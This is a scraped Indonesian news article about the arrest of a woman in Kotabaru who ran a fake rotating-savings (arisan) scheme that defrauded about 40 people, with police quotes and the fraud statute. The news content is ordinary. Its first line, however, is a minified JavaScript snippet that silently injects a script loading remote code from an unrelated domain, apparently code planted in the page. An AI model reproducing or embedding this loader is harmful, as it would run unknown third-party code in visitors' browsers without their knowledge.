(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Berhasil mengiming-imingi 40 orang korban, seorang pelaku arisan bodong ditangkap anggota Polsek Kelumpang Hilir. Setelah aksinya dilaporkan korban.
Diketahui, pelaku berinisial IAA, seorang perempuan kelahiran 1994. Berhasil mengelabui puluhan orang untuk dapat mengikuti arisan yang dijalankan sejak 7 bulan lalu.
Kesigapan anggota Polsek Kelumpang Hilir setelah mendapatkan pengaduan dari salah satu korban, IAA berhasil ditangkap.
Kepada Kanalkalimantan.com, Kapolsek Kelumpang Hilir AKP Nur Alam menjelaskan, dalam kesehariannya pelaku berprofesi sebagai pedagang. Berdasarkan hasil pemeriksaan, Sabtu (26/3/2022), tindak pidana penipuan dalam bentuk arisan dan kejadiannya terjadi di Desa Telegrejo, Kecamatan Kelumpang Hilir, Kabupaten Kotabaru.
Baca juga: Mako Polda Kalsel Pindah ke Banjarbaru, Dibangun di Atas Lahan 10,6 Hektare, Dana Rp 133 Miliar
“Modus pelaku adalah dengan menawarkan jual beli arisan kepada salah satu korbannya pada Selasa (8/3/2022), dan korban ditawari arisan dijanjikan untung besar, sehingga menerima ajakan tersebut,” ungkap Kapolsek Kelumpang Hilir, Selasa (29/3/2022).
Karena sudah percaya, lanjut Kapolsek, korban mulai bertransaksi dengan uang kontan dan mentransfer sejumlah uang secara berkala ke rekening BRI atas nama pelaku.
Berjalannya waktu, ternyata korban merasa curiga dengan pelaku karena pada Sabtu (26/3/2022), IAA sudah tidak bisa dihubungi sama sekali.
“Dengan peristiwa itu, salah satu korban mengalami kerugian sekitar Rp136 juta, dan pada tanggal 28 Maret 2022 korban langsung melaporkannya ke Mapolsek Kelumpang Hilir,” terangnya.
Belakangan diketahui, bukan hanya satu korban saja melainkan masih ada sekitar 40 orang dan aktifitas tersebut sudah sejak 7 bulan lalu.
“Dari hasil penangkapan didapati 13 lembar bukti tanda transfer dan untuk sekarang pelaku ditahan di rumah tahanan Mapolsek Kelumpang Hilir,” tegasnya.
Baca juga: Ditemukan Tewas Depan Café di Trikora, Dua Pria Terekam CCTV Berkelahi, Satu Pegang Pisau
Sementara pelaku IAA dikenakan pasal 378 KUHP, yang mana barangsiapa dengan maksud hendak menguntungkan diri sendiri atau orang lain dengan melawan hak, baik dengan memakai nama palsu atau kedaan palsu, baik dengan akal dan tipu muslihat, maupun dengan karangan perkataan-perkataan bohong, membujuk orang supaya memberikan sesuatu barang, membuat utang atau menghapus piutang, dihukum karena penipuan.
“Untuk ancaman hukumannya sendiri kurang lebih sekitar 4 tahun,” tandasnya. (Kanalkalimantan.com/muhammad)
Reporter : Muhammad
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More
This website uses cookies.